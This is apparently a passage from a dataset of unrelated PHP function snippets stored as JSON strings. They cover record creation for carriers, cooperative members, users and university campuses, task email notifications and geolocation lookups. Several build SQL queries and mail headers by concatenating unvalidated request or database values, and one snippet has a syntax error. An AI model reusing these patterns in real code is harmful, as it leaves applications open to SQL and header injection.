TRANSPORTADORA\n\t\t\t\t========================================== */\n\n\t\t\t\t$tabla = \"transportadoras\";\n\n\t\t\t\t$datos = array(\"transportadora\" => $_POST[\"nuevaTransportadora\"],\n\t\t\t\t\t \"logo\"=>$ruta);\n\n\t\t\t\t$respuesta = ModeloTransportadoras::mdlIngresarTransportadora($tabla, $datos);\n\n\t\t\t\tif($respuesta == \"ok\"){\n\n\t\t\t\t\techo '<script>\n\n\t\t\t\t\tswal({\n\n\t\t\t\t\t\ttype: \"success\",\n\t\t\t\t\t\ttitle: \"¡La transportadora ha sido guardada correctamente!\",\n\t\t\t\t\t\tshowConfirmButton: true,\n\t\t\t\t\t\tconfirmButtonText: \"Cerrar\"\n\n\t\t\t\t\t}).then(function(result){\n\n\t\t\t\t\t\tif(result.value){\n\n\t\t\t\t\t\t\twindow.location = \"transportadoras\";\n\n\t\t\t\t\t\t}\n\n\t\t\t\t\t});\n\n\n\t\t\t\t\t</script>';\n\n\n\t\t\t\t}\n\n\n\t\t\t}else{\n\n\t\t\t\techo '<script>\n\n\t\t\t\t\tswal({\n\n\t\t\t\t\t\ttype: \"error\",\n\t\t\t\t\t\ttitle: \"¡La transportadora no puede ir vacía o llevar caracteres especiales!\",\n\t\t\t\t\t\tshowConfirmButton: true,\n\t\t\t\t\t\tconfirmButtonText: \"Cerrar\"\n\n\t\t\t\t\t}).then(function(result){\n\n\t\t\t\t\t\tif(result.value){\n\n\t\t\t\t\t\t\twindow.location = \"transportadoras\";\n\n\t\t\t\t\t\t}\n\n\t\t\t\t\t});\n\n\n\t\t\t\t</script>';\n\n\t\t\t}\n\n\n\t\t}\n\n\n\t}", "public static function generarRepresentanteLegal(Empresa $empresa,$nombres,$apellidop,$apellidom,$tipodocumento,$documento,$direccion,$numerocontacto2,$idpais,$genero,$email,$id_persona,$cargo,$expedido)\n {\n $logs = new Logs();\n $sqlLogs = new SQLLogs();\n \n $persona = new Persona();\n $sqlPersona = new SQLPersona();\n $hoy = date(\"Y-m-d h:m:s\");\n $usuario = new Usuario();\n $sqlUsuario = new SQLUsuario();\n \n if($id_persona=='0')\n {\n //es nuevo\n $persona->setNombres(mb_strtoupper($nombres));\n $persona->setPaterno(mb_strtoupper($apellidop));\n $persona->setMaterno(mb_strtoupper($apellidom));\n $persona->setId_tipo_documento($tipodocumento);\n $persona->setNumero_documento($documento);//este es el documento\n $persona->setDireccion($direccion);\n // if($numerocontacto!=''){$persona->setNumero_contacto($numerocontacto);}\n // if($numerocontacto2!=''){$persona->setNumero_contacto2($numerocontacto2);}\n $persona->setExpedido($expedido);\n $persona->setEmail($email);\n $persona->setId_pais_origen($idpais);\n $persona->setFecha_creacion($hoy);\n $persona->setEstado(1);//para el estado activo\n $persona->setId_usuario_creacion($_SESSION['id_usuario']);\n if($genero==1) $persona->setGenero(true);\n else $persona->setGenero(false);\n try{\n $sqlPersona->setGuardarPersona($persona);\n } catch (Exception $ex) {\n $logs->setDescripcion('ERROR: generarRepresentanteLegal: creacion de la PERSONA');\n $logs->setId_servicio(0);\n $logs->setMensaje($ex->getMessage());\n $logs->setObjeto(print_r($persona,true));\n $logs->setDate(Date('Y-m-d H:i:s'));\n $sqlLogs->Save($logs);\n return null;\n }\n \n \n //esto es para crear el nombre del usuario\n $campousuario=trim($persona->getNombres());\n $campousuario=$campousuario[0].$persona->getNumero_documento();\n //-guardamos el usuario\n \n $usuario->setUsuario($campousuario);\n $usuario->setClave(substr(str_shuffle(\"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"), 0, 8));\n //$usuario->setClave('123456');\n $usuario->setFecha_creacion($hoy);\n $usuario->setId_persona($persona->getId_persona());\n $usuario->setActivo(1);\n $usuario->setId_tipo_usuario(2);\n try{\n $sqlUsuario->setGuardarUsuario($usuario);\n } catch (Exception $ex) {\n $logs->setDescripcion('ERROR: generarRepresentanteLegal: creacion del USUARIO');\n $logs->setId_servicio(0);\n $logs->setMensaje($ex->getMessage());\n $logs->setObjeto(print_r($usuario,true));\n $logs->setDate(Date('Y-m-d H:i:s'));\n $sqlLogs->Save($logs);\n $sqlPersona->delete($persona);\n return null;\n }\n }\n else\n {\n //es antiguo\n $persona->setId_persona($id_persona);\n $persona = $sqlPersona->getDatosPersonaPorId($persona);\n $usuario->setId_persona($id_persona);\n $usuario=$sqlUsuario->getDatosUsuarioPorIdPersona($usuario);\n }\n \n $perfil = new Perfil();\n $sqlPerfil = new SQLPerfil();\n $perfil->setId_perfil(3);//es pa el RL\n $perfil=$sqlPerfil->getBuscarDescripcionPorId($perfil);\n $perfil->getOpciones();\n\n $empresa_persona = new EmpresaPersona();\n $sqlEmpresaPersona = new SQLEmpresaPersona();\n $empresa_persona->setId_Persona($persona->getId_persona());\n $empresa_persona->setId_Empresa($empresa->getId_empresa());\n $empresa_persona->setId_Perfil(3);\n $empresa_persona->setFecha_Vinculacion($hoy);\n $empresa_persona->setOpciones_persona($perfil->getOpciones());\n $empresa_persona->setActivo(1);\n $empresa_persona->setCargo($cargo);\n try{\n $sqlEmpresaPersona->setGuardarEmpresaPersona($empresa_persona);\n return $persona->getId_persona().','.$usuario->getClave().','.$campousuario.','.$persona->getEmail();\n } catch (Exception $ex) {\n $logs->setDescripcion('ERROR: generarRepresentanteLegal: registo EMPRESA - PERSONA');\n $logs->setId_servicio(0);\n $logs->setMensaje($ex->getMessage());\n $logs->setObjeto(print_r($empresa_persona,true));\n $logs->setDate(Date('Y-m-d H:i:s'));\n $sqlLogs->Save($logs);\n $sqlPersona->delete($persona);\n $sqlUsuario->delete($usuario);\n }\n return null;\n /*if($sqlEmpresaPersona->setGuardarEmpresaPersona($empresa_persona)){\n return $persona->getId_persona().','.$usuario->getClave().','.$campousuario.','.$persona->getEmail();\n }else return null;*/\n }", "function add($nombre, $apellidopaterno = \"\", $apellidomaterno = \"\",\n\t\t\t$rfc = \"\", $curp = \"\", $cajalocal = DEFAULT_CAJA_LOCAL,\n\t\t\t$fecha_de_nacimiento = false, $lugar_de_nacimiento = \"\",\n\t\t\t$tipo_de_ingreso = FALLBACK_PERSONAS_TIPO_ING, $estado_civil = DEFAULT_ESTADO_CIVIL,\n\t\t\t$genero = DEFAULT_GENERO, $dependencia = FALLBACK_CLAVE_EMPRESA, $regimen_conyugal = DEFAULT_REGIMEN_CONYUGAL,\n\t\t\t$personalidad_juridica = PERSONAS_FIGURA_FISICA, $grupo_solidario = DEFAULT_GRUPO, $observaciones = \"\",\n\t\t\t$identificado_con = 1, $documento_de_identificacion = \"0\", $codigo = false, $sucursal = false,\n\t\t\t$movil\t= \"\", $correo = \"\", $dependientes = 0, $fecha = false, $riesgo = AML_PERSONA_BAJO_RIESGO, $clave_fiel = \"\", \n\t\t\t$pais = EACP_CLAVE_DE_PAIS, $regimen_fiscal = DEFAULT_REGIMEN_FISCAL){\n\t\t$sucess\t\t\t\t\t= false;\n\t\t$xF\t\t\t\t\t\t= new cFecha();\n\t\t$xLoc\t\t\t\t\t= new cLocal();\n\t\t//$ql\t\t\t\t\t\t= new MQL();\n\t\t//Reparando\n\t\t$fecha_de_entrevista \t= $xF->getFechaISO($fecha);\n\t\t$fecha_de_alta\t\t\t= $xF->getFechaISO($fecha);\n\t\t$fecha_de_revision\t\t= $xF->getFechaISO($fecha);\n\t\t$estatus\t\t\t\t= FALLBACK_PERSONAS_ESTADO;\n\t\t$region\t\t\t\t\t= FALLBACK_PERSONAS_REGION;\n\t\t\n\t\t$nombre\t\t\t\t\t= addslashes($nombre);\n\t\t$apellidomaterno\t\t= addslashes($apellidomaterno);\n\t\t$apellidopaterno\t\t= addslashes($apellidopaterno);\n\t\t\n\t\t$nombre\t\t\t\t\t= utf8_decode( strtoupper($nombre) );\n\t\t$apellidopaterno\t\t= utf8_decode( strtoupper($apellidopaterno) );\n\t\t$apellidomaterno\t\t= utf8_decode( strtoupper($apellidomaterno) );\n\t\t$dependientes\t\t\t= setNoMenorQueCero($dependientes);\n\t\t$eacp\t\t\t\t\t= EACP_CLAVE;\n\t\t$sucursal\t\t\t\t= ($sucursal == false) ? getSucursal() : $sucursal;\n\t\t$usuario\t\t\t\t= getUsuarioActual();\n\t\t$codigo\t\t\t\t\t= ($codigo == false) ? $this->mCodigo : $codigo;\n\t\t$fecha_de_nacimiento\t= $xF->getFechaISO($fecha_de_nacimiento);\n\t\t$cajalocal\t\t\t\t= setNoMenorQueCero($cajalocal);\n\t\t$cajalocal\t\t\t\t= ($cajalocal == 0) ? $xLoc->getCajaLocal() : $cajalocal;\n\t\tif($codigo == false){\n\t\t\t$xCL\t\t\t\t= new cCajaLocal($cajalocal); $xCL->init();\n\t\t\t$codigo\t\t\t\t= $xCL->getUltimoSocioRegistrado(true)+1;\n\t\t\t$this->mCodigo\t\t= $codigo;\n\t\t}\n\t\t//purgar RFC\n\t\tif($pais == \"MX\"){\n\t\t\t$xMex\t= new cReglasDePais();\n\t\t\t$rfc\t= $xMex->getValidIDFiscal($rfc);\n\t\t\t\n\t\t}\n\t\t$rfc\t\t= ($rfc == \"\") ? DEFAULT_PERSONAS_RFC_GENERICO : $rfc;\n\t\t$sql = \"INSERT INTO socios_general(codigo, nombrecompleto, apellidopaterno, apellidomaterno, rfc, curp, \n\t\t\t\t\tfechaentrevista, fechaalta, estatusactual, region, cajalocal,\n\t\t\t\t\tfechanacimiento, lugarnacimiento, tipoingreso,\n\t\t\t\t\testadocivil, genero, eacp, observaciones, idusuario,\n\t\t\t\t\tgrupo_solidario, personalidad_juridica, dependencia,\n\t\t\t\t\tregimen_conyugal, sucursal, fecha_de_revision, tipo_de_identificacion, documento_de_identificacion,\n\t\t\t\t\tcorreo_electronico, telefono_principal, dependientes_economicos, pais_de_origen, nivel_de_riesgo_aml, clave_de_firma_electronica,\n\t\t\tregimen_fiscal)\n \t\t\tVALUES\n\t\t\t\t\t($codigo, '$nombre', '$apellidopaterno', '$apellidomaterno', '$rfc', '$curp',\n\t\t\t\t\t'$fecha_de_entrevista', '$fecha_de_alta', $estatus, $region, $cajalocal,\n\t\t\t\t\t'$fecha_de_nacimiento', '$lugar_de_nacimiento', $tipo_de_ingreso,\n\t\t\t\t\t$estado_civil, $genero, '$eacp', '$observaciones', $usuario,\n\t\t\t\t\t$grupo_solidario, $personalidad_juridica, $dependencia,\n\t\t\t\t\t'$regimen_conyugal', '$sucursal', '$fecha_de_revision', $identificado_con, '$documento_de_identificacion',\n\t\t\t\t\t'$correo', '$movil', $dependientes, '$pais', $riesgo, '$clave_fiel', $regimen_fiscal)\";\n\t\t\n\t\t$x\t\t\t= my_query($sql);\n\t\t$this->mCodigo\t= $codigo;\n\t\tif ($x[\"stat\"] == false){\n\t\t\t$this->mMessages .= \"ERROR\\tSe fallo al agregar la persona $codigo\\r\\n\";\n\t\t\t$sucess\t\t\t= false;\n\t\t} else {\n\t\t\t$this->mMessages .= \"OK\\tSe agrego el Socio $codigo con Nombre $nombre $apellidopaterno $apellidomaterno \\r\\n\";\n\t\t\t$this->init();\t\t//Iniciar\n\t\t\t//Agregar en la Tabla de Grupos Solidarios si aplica\n\t\t\t//2012-06-20 si es grupo y es persojna moral\n\t\t\tif ( $tipo_de_ingreso == TIPO_INGRESO_GRUPO AND $personalidad_juridica == PERSONAS_FIGURA_MORAL ){\n\t\t\t\t$xGrup\t\t= new cGrupo($codigo);\n\t\t\t\t$this->addToGrupos(DEFAULT_SOCIO, DEFAULT_SOCIO, $sucursal, $fecha);\n\t\t\t\t//$xGrup->add($nombre, \"\", DEFAULT_SOCIO, DEFAULT_SOCIO, 10, 1, $codigo, $sucursal, $fecha_de_alta, $codigo);\n\t\t\t\t//$this->mMessages .= \"OK\\tSe Agrega Nuevo Grupo con clave $codigo\\r\\n\";\n\t\t\t}\n\t\t\tif(MODULO_AML_ACTIVADO == true){\n\t\t\t\tif( $this->mNoAML == false ){\n\t\t\t\t\t\n\t\t\t\t\t//checar lista negra\n\t\t\t\t\t$xAml\t= new cAMLPersonas($codigo);\n\t\t\t\t\t$xAml->init($codigo);\n\t\t\t\t\t$ln\t\t= $xAml->getBuscarEnListaNegra($nombre, $apellidopaterno, $apellidomaterno);\n\t\t\t\t\tif($ln == true){\n\t\t\t\t\t\t$xCM\t= new cAML();\n\t\t\t\t\t\t$xCM->sendAlerts($codigo, AML_OFICIAL_DE_CUMPLIMIENTO, 901001, $xAml->getMessages());\n\t\t\t\t\t}\n\t\t\t\t\tif($pais != EACP_CLAVE_DE_PAIS){\n\t\t\t\t\t\t//verificar persona extranjera\n\t\t\t\t\t\t$xCM\t= new cAML();\n\t\t\t\t\t\t$xCM->sendAlerts($codigo, AML_OFICIAL_DE_CUMPLIMIENTO, 801009, \"PERSONA EXTRANJERA REGISTRADA\");\n\t\t\t\t\t}\n\t\t\t\t\tif($riesgo == AML_PERSONA_ALTO_RIESGO){\n\t\t\t\t\t\t//verificar persona extranjera\n\t\t\t\t\t\t$xCM\t= new cAML();\n\t\t\t\t\t\t$xCM->sendAlerts($codigo, AML_OFICIAL_DE_CUMPLIMIENTO, 901001, \"PERSONA ALTAMENTE RIESGOSA REGISTRADA\");\n\t\t\t\t\t}\n\t\t\t\t\t//buscar persona SDN\n\t\t\t\t}\n\t\t\t}\n\t\t\t$sucess\t= true;\n\t\t}\n\t\treturn $sucess;\n\t}", "function buildGeoPosition($equipment)\r\n{\r\n\r\n // Try the connection to MySQL + Select the relevant database\r\n // Make the SQL connection global as soon as possible\r\n $dbc = @mysqli_connect(DB_HOST, DB_USER , DB_PASSWORD) ;\r\n if ($dbc)\r\n {\r\n if(!mysqli_select_db($dbc, DB_NAME))\r\n {\r\n trigger_error(\"Could not select the database!<br>MYSQL Error:\" . mysqli_error($dbc)) ;\r\n exit();\r\n }\r\n }\r\n else\r\n {\r\n trigger_error(\"Could not connect to MySQL!<br>MYSQL Error:\" . mysqli_error($dbc));\r\n exit();\r\n }\r\n\r\n // Get the last position of the scentinel\r\n $query = \"SELECT sample.id AS sample_id, sample.lat, sample.lon\r\n FROM sample\r\n WHERE equipement = \" . $equipment\r\n . \" ORDER BY sampledat DESC LIMIT 1\";\r\n $result = mysqli_query($dbc, $query) or trigger_error(\"Query: $query\\n<br>MySQL Error: \" . mysqli_error($dbc));\r\n $row = mysqli_fetch_array($result, MYSQLI_NUM) ;\r\n $lat = $row[1] ;\r\n $lon = $row[2] ;\r\n \r\n $final_geoposition = '{lat: ' . $lat . ', lng: ' . $lon '};';\r\n \r\n return array($final_geoposition) ;\r\n}", "function enviar_notificacion_tarea( $id_tarea, $updated = 0 )\r\n{\r\n\t$result_tarea = db_query( \"SELECT a.*, b.logon as login_usuariocreador, b.nombre_completo as nombre_usuariocreador, b.email as email_usuariocreador, \" .\r\n\t\t\t\t\t\t\t\t\" c.nombre_completo as nombre_usuarioasignado, c.email as email_usuarioasignado, \" .\r\n\t\t\t\t\t\t\t\t\" d.logon as logon_usuariomodifico, d.nombre_completo as nombre_usuariomodifico, d.email as email_usuariomodifico, \" . \r\n\t\t\t\t\t\t\t\t\" e.nombre as nombre_proyecto \" . \r\n\t\t\t\t\t\t\t\t\" FROM ges_tareas a \" . \r\n\t\t\t\t\t\t\t\t\" LEFT JOIN ges_usuarios b ON (b.id_usuario=a.usuario_creador) \" .\r\n\t\t\t\t\t\t\t\t\" LEFT JOIN ges_usuarios c ON (c.id_usuario=a.usuario_asignado) \" .\r\n\t\t\t\t\t\t\t\t\" LEFT JOIN ges_usuarios d ON (d.id_usuario=a.usuario_modifico) \" .\r\n\t\t\t\t\t\t\t\t\" LEFT JOIN ges_proys e ON (e.id_project=a.id_project) \" .\r\n\t\t\t\t\t\t\t\t\" WHERE a.id_tarea=$id_tarea\" );\r\n\t\t\t\t\t\t\t\t\r\n $cc = \"\";\r\n\t$nombre_proyecto = \"\";\r\n\t\r\n\tif( $reg_tarea = db_fetch_row( $result_tarea ) )\r\n\t{\r\n\t\t$enviado = $reg_tarea[\"enviadoxmail\"];\r\n\t\t\r\n\t\tif( $reg_tarea[\"id_project\"] != 0 )\r\n\t\t $nombre_proyecto = $reg_tarea[\"nombre_proyecto\"];\r\n\t\t\r\n\t\t$titulo = $reg_tarea[\"titulo\"];\r\n\t\t$descripcion = $reg_tarea[\"descripcion\"]; \r\n\t\t\r\n\t\t$fecha_desde = get_str_datetime( $reg_tarea[\"fecha_desde\"], 0, 0 ); \r\n\t\t$fecha_hasta = get_str_datetime( $reg_tarea[\"fecha_hasta\"], 0, 0 );\r\n\t\t\r\n\t\t$hora_desde = $reg_tarea[\"hora_desde\"]; \r\n\t\t$mins_desde = $reg_tarea[\"mins_desde\"]; \r\n\t\t$hora_hasta = $reg_tarea[\"hora_hasta\"]; \r\n\t\t$mins_hasta = $reg_tarea[\"mins_hasta\"]; \t\r\n\t\t\r\n\t\t$usuario_asignado = $reg_tarea[\"usuario_asignado\"];\r\n\t\t$grupo_asignado = $reg_tarea[\"grupo_asignado\"];\r\n\t\t\r\n\t\tif( $updated == 0 )\r\n\t\t{\r\n\t\t // enviar mail a quien crea\r\n\t\t $usuario_creador = $reg_tarea[\"login_usuariocreador\"];\r\n\t\t $email = $reg_tarea[\"email_usuariocreador\"];\r\n\t\t $nombredestinatario = $reg_tarea[\"nombre_usuariocreador\"];\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t// enviar mail a quien modifica\r\n\t\t $usuario_creador = $reg_tarea[\"logon_usuariomodifico\"];\r\n\t\t $email = $reg_tarea[\"email_usuariomodifico\"];\r\n\t\t $nombredestinatario = $reg_tarea[\"nombre_usuariomodifico\"];\t\t\t\r\n\t\t}\r\n\t\t\r\n\t\tif( $usuario_asignado != 0 )\r\n\t\t{\r\n\t\t\tif( $email != $reg_tarea[\"email_usuarioasignado\"] )\r\n\t\t\t\t$cc = $reg_tarea[\"email_usuarioasignado\"];\r\n\t\t}\r\n\t\t\r\n\t\t// cuando se notifica a un usuario o a un grupo de usuarios\r\n\t\t// cuando es un proyecto se pueden notificar a todos los del equipo de trabajo\r\n\t\tif( $grupo_asignado != 0 or ( $grupo_asignado == 0 and $nombre_proyecto != \"\" ))\r\n\t\t{\r\n\t\t\tif( $grupo_asignado == 0 and $nombre_proyecto != \"\" )\r\n\t\t\t{\r\n\t\t\t // notificar a todos los usuarios asignados al proyecto\r\n\t\t\t\t$result_users = db_query( \" SELECT a.*, b.logon as login_usuario, b.nombre_completo as nombre_usuario, b.email as email_usuario \" .\r\n\t\t\t\t\t\t\t\t\t\t \" FROM ges_proys_usuarios a LEFT JOIN ges_usuarios b ON (b.id_usuario=a.id_usuario) \" .\r\n\t\t\t\t\t\t\t\t\t\t \" WHERE (a.id_project=\" . $reg_tarea[\"id_project\"] . \") \" );\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t // notificar a todos los usuarios de un grupo\r\n\t\t\t\t$result_users = db_query( \" SELECT a.*, b.logon as login_usuario, b.nombre_completo as nombre_usuario, b.email as email_usuario \" .\r\n\t\t\t\t\t\t\t\t\t\t \" FROM ges_grupos_usuarios a LEFT JOIN ges_usuarios b ON (b.id_usuario=a.id_usuario) \" .\r\n\t\t\t\t\t\t\t\t\t\t \" WHERE (a.id_grupo=$grupo_asignado) \" );\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\twhile( $reg_users = db_fetch_row( $result_users ) )\r\n\t\t\t{\r\n\t\t\t if( $reg_users[\"email_usuario\"] != \"\" and $reg_users[\"email_usuario\"] != $email )\r\n\t\t\t\t{\r\n\t\t\t\t if( $cc != \"\" ) $cc .= \",\";\r\n\t\t\t\t\t$cc .= $reg_users[\"email_usuario\"];\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tdb_free_query( $result_users );\r\n\t\t}\r\n\t\t\r\n\t\tif( $updated == 1 and $reg_tarea[\"email_usuariomodifico\"] != $reg_tarea[\"email_usuariocreador\"] )\r\n\t\t{\r\n\t\t\t$cc = $reg_tarea[\"email_usuariocreador\"] . \";$cc\";\r\n\t\t}\r\n\t}\r\n\t\r\n\tdb_free_query( $result_tarea );\r\n\r\n\tif( $enviado == \"N\" )\r\n\t{\r\n\t\t if( $updated == 0 )\r\n\t\t\t$subj = \"Asignación de Tareas: NUEVO REGISTRO\"; \r\n\t\t else\r\n\t\t\t$subj = \"Seguimiento de Tareas: MODIFICACION\";\r\n\t\t\r\n\t\t $header = \"Return-Path: [email protected]\\r\\n\"; \r\n\t\t $header .= \"From: $usuario_creador $nombredestinatario <$email>\\r\\n\"; \r\n\t\t \r\n\t\t $header .= \"Cc: $cc\\r\\n\";\r\n\t\t $header .= \"Content-Type: text/html; charset=iso-8859-1;\"; \r\n\t\t $header .= \"Content-Transfer-Encoding: 7bit;\";\r\n\t\t\r\n\t\t $mesg = \"<html><body style='font-family:verdana,arial,helvetica; font-size:12px; font-color: black; \" .\r\n \t\t \"background: url(http://www.grupoges.com.mx/images/logoFondoGES.jpg) no-repeat right top;'> \";\r\n\t\t $mesg .= \"<h3><strong>GRUPO GES - SEGUIMIENTO DE TAREAS </strong></h3>\";\r\n\t\t\t\t \r\n\t\t if( $updated == 0 )\r\n\t\t\t$mesg .= \"<font size=3>El usuario $nombredestinatario ha asignado una nueva tarea: $id_tarea.</font><br><br>\";\r\n\t\t else\r\n\t\t\t$mesg .= \"<font size=3>El usuario $nombredestinatario ha modificado un tarea: $id_tarea.</font><br><br>\";\r\n\t\t\t\t \r\n\t\t if( $nombre_proyecto != \"\" )\r\n\t\t $mesg .= \"Proyecto: $nombre_proyecto <br>\";\r\n\t\t \r\n\t\t $mesg .= \"Título: $titulo <br>\";\r\n\t\t $mesg .= \"Descripción: $descripcion <br><br>\";\r\n\t\t \r\n\t\t if( $fecha_desde==$fecha_hasta ) \r\n\t\t\t$mesg .= \"Fecha: \" . $fecha_desde;\r\n\t\t else\r\n\t\t\t$mesg .= \"Fechas programadas: Del \" . $fecha_desde . \" al \" . $fecha_hasta;\r\n\t\t\t\r\n\t\t $mesg .= \"<br>\";\r\n\t\t\r\n\t\t if( $hora_desde <= 9 ) $hora_desde = \"0\" . $hora_desde;\r\n\t\t if( $mins_desde <= 9 ) $mins_desde = \"0\" . $mins_desde;\r\n\t\t if( $hora_hasta <= 9 ) $hora_hasta = \"0\" . $hora_hasta;\r\n\t\t if( $mins_hasta <= 9 ) $mins_hasta = \"0\" . $mins_hasta;\r\n\t\t\r\n\t\t if( ($hora_desde . $mins_desde) == ($hora_hasta . $mins_hasta) ) \r\n\t\t\t$mesg .= \"Hora: \" . $hora_desde . \":\" . $mins_desde . \" hrs.\" ;\r\n\t\t else\r\n\t\t\t$mesg .= \"Horario: Desde las \" . $hora_desde . \":\" . $mins_desde . \" a las \" . $hora_hasta . \":\" . $mins_hasta . \" hrs. \" ;\r\n\t\t \r\n\t\t $mesg .= \"<br><br>\";\r\n\t\t\t \r\n\t\t $mesg .= \"<a href='http://intranet.escolarges.com.mx/tarea_paso2.php?accion=consultar&id_tarea=$id_tarea&tab=datosprincipales'>\" . \r\n\t\t\t\t \"Clic aquí para consultar la actividad</a><br>\";\t\r\n\t\t\r\n\t\t $mesg .= \"</body></html>\"; \r\n\t\t \r\n\t\t// echo $header;\r\n\t\t \r\n\t\t if( mail ( $email, $subj, $mesg, $header ) )\r\n\t\t {\r\n\t\t\t//echo \"Se envío correo electrónico de notificación\";\r\n\t\t\t$query = \"UPDATE ges_tareas SET enviadoxmail = 'S' WHERE id_tarea = $id_tarea \";\r\n\t\t\tdb_query( $query );\r\n\t\t }\r\n\t}\r\n\r\n}", "public function djikstra_cepat_new($start=\"-6.9006744,107.6186616\", $finish=\"-6.9025157,107.618782\") //dipakai di fungsi baru, pakai djikstra_cepat_new, dan get_jalur_terdekat_cepat_new\n {\n if(!empty($_GET['start']) && !empty($_GET['finish']))\n {\n $a_start = explode(',', $_GET['start']);\n $a_finish = explode(',', $_GET['finish']); \n\n }\n else\n {\n $a_start = explode(',', $start);\n $a_finish = explode(',', $finish);\n }\n\n $awal= $this->get_jalur_terdekat_cepat_new($a_start[0], $a_start[1]);\n $akhir = $this->get_jalur_terdekat_cepat_new($a_finish[0], $a_finish[1]);\n\n return ['start'=> json_decode($awal),'finish'=> json_decode($akhir)];\n\n }", "function createuniversitylocation(){\n\n\t\tif($_POST['other_information']!=\"\" || $_POST['other_information']!=NULL){\n\t\t\t$other_information = $_POST['other_information'];\n\t\t}else{\n\t\t\t$other_information = \"\";\n\t\t}\n\n\t\tif($_POST['website']!=\"\" || $_POST['website']!=NULL){\n\t\t\t$website = $_POST['website'];\n\t\t}else{\n\t\t\t$website = \"\";\n\t\t}\n\n\t\tif($_POST['countrycode']!='')\n\t\t{\n\t\t\t$phone = $_POST['countrycode'].'-'.$_POST['phone'];\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$phone = $_POST['phone'];\n\t\t}\n\n\t\tif(isset($_POST['ismain']) && $_POST['ismain']==1)\n\t\t{\n\t\t\t$this->db->query(\"UPDATE tbl_university_location SET ismain=0 WHERE universityid = (SELECT uuid FROM tbl_university_registration WHERE userid=\".$this->session->userdata('fuserid').\")\");\n\t\t\t$ismain = 1;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$ismain = 0;\n\t\t}\n\n\t\t$currentdate=date(\"Y-m-d H:i:s\");\n\n\t\t$locationQuuid = $this->db->query(\"SELECT uuid() as id\");\n\n\t\tif ($locationQuuid->num_rows() > 0)\n\t\t{\n\t\t\t$datauuid = $locationQuuid->row_array();\n\t\t\t$locationuuid=$datauuid[\"id\"];\n\t\t}\n\n\t\t$data = array(\n\t\t\t'campus_name' => $_POST['campus_name'],\n\t\t\t'name' => $_POST['name'],\n\t\t\t'address' => $_POST['address'],\n\t\t\t'email' => $_POST['email'],\n\t\t\t'phone' => $phone,\n\t\t\t'insertdate' => date('Y-m-d'),\n\t\t\t'universityid' => $_POST['universityid'],\n\t\t\t'other_information' => $other_information,\n\t\t\t'website' => $website,\n\t\t\t'country' => $_POST['countryid'],\n\t\t\t'state' => $_POST['stateid'],\n\t\t\t'city' => $_POST['cityid'],\n\t\t\t'zipcode' => $_POST['zipcode'],\n\t\t\t'event_title' => $_POST['event_title'],\n\t\t\t'locationuuid' => $locationuuid,\n\t\t\t'latitude'\t=> $_POST['latitude'],\n\t\t\t'longitude' => $_POST['longitude'],\n\t\t\t'ismain'\t=> $ismain\n\t\t\t//'opening_time' => $_POST['opening_time'],\n\t\t\t//'closing_time' => $_POST['closing_time'],\n\t\t\t//'action_date' => $currentdate,\n\t\t\t//'userstatus' => 1\n\t\t\t\n\t\t);\n\n\t\t$this->db->INSERT('tbl_university_location',$data);\n\t}", "function cc_update_geocodes(){\n\t\n\t$path = ABSPATH . \"import/\";\n\t$file = FILE_XML_IMMOBILI; // nome del file\n\t$cometa = cc_get_unique_post_meta_values(\"_id_cometa\");\n\n\t$xml = @simplexml_load_file($path.$file);\t\n\n\tif($xml){\t\t\n\t\t\n\t\t$offerte = $xml->Offerte;\n\n\t\tif($offerte){\n\t\t\t\n\t\t\tforeach($offerte as $offerta){\n\t\t\t\t\n\t\t\t\t$idunique = (int) $offerta->Idimmobile; // campo univoco Cometa\n\t\t\t\t$post_id = array_search($idunique, $cometa);\n\t\t\t\t\n\t\t\t\tif(empty($post_id)) continue;\n\t\t\t\t\n\t\t\t\t$latitudine = (string) $offerta->Latitudine;\n\t\t\t\t$longitudine = (string) $offerta->Longitudine;\n\n\t\t\t\tif(!empty($latitudine)) $latitudine = str_replace(\",\", \".\", $latitudine);;\n\t\t\t\tif(!empty($longitudine)) $longitudine = str_replace(\",\", \".\", $longitudine);;\n\n\t\t\t\tif(!empty($latitudine) and !empty($longitudine)){\n\t\t\t\t\t$map_coords = $latitudine .\", \". $longitudine;\t\t\n\t\t\t\t}else{\n\t\t\t\t\t$map_coords = \"\";\n\t\t\t\t}\t\t\t\t\n\t\t\t\t\n\t\t\t\tif(!empty($map_coords)){\n\t\t\t\t\t\n\t\t\t\t\tupdate_post_meta( $post_id, \"fave_property_location\", $map_coords );\n\t\t\t\t\tupdate_post_meta( $post_id, \"houzez_geolocation_lat\", $latitudine );\n\t\t\t\t\tupdate_post_meta( $post_id, \"houzez_geolocation_lon\", $longitudine );\n\t\t\t\t\t\n\t\t\t\t\t$results[] = $post_id.\" => \".$idunique.\" - geocodes \".$map_coords;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t$dbg = var_export($results, true);\n\t\n\t\t\tcc_import_immobili_error_log($dbg);\n\n\t\t\t\n\t\t}else{\n\t\t\tcc_import_immobili_error_log(\"no offerte!\");\n\t\t}\n\t\t\n\t}else{\n\t\tcc_import_immobili_error_log(\"no xml!\");\n\t}\n\t\n}", "public function get_geometry($region)\n\t{\n\t\t$dir = $_SERVER[\"DOCUMENT_ROOT\"].'/data/'.$region;\n\t\tif (!file_exists($dir))\n\t\t\tmkdir($dir);\n\n\t\t$fname = \"$dir/geometry.json\";\n\n\t\tif (file_exists($fname)) {\n\n\t\t\t$st = file_get_contents($fname);\n\n\t\t\t$polygons = json_decode($st, true);\n\t\t\tif (isset($polygons)) {\n\t\t\t\treturn $polygons;\n\t\t\t}\n\t\t}\n\n\t\t// TODO: сделать одну функцию для запросов к Overpass API\n\t\t$url = \"https://overpass.openstreetmap.ru/api/interpreter\";\n\t\t//$url = \"https://overpass-api.de/api/interpreter\";\n\n\t\t// FIXME: запрос слишком много инфы загружает, поправить\n\t\t$query =\n\t\t\t'[out:json][timeout:180];\n\t\t\trel[ref=\"'.$region.'\"][admin_level=4][boundary=administrative];\n\t\t\tout geom;';\n\n\t\t$page = $this->get_web_page($url, $query);\n\t\tif (is_null($page)) {\n\t\t\treturn 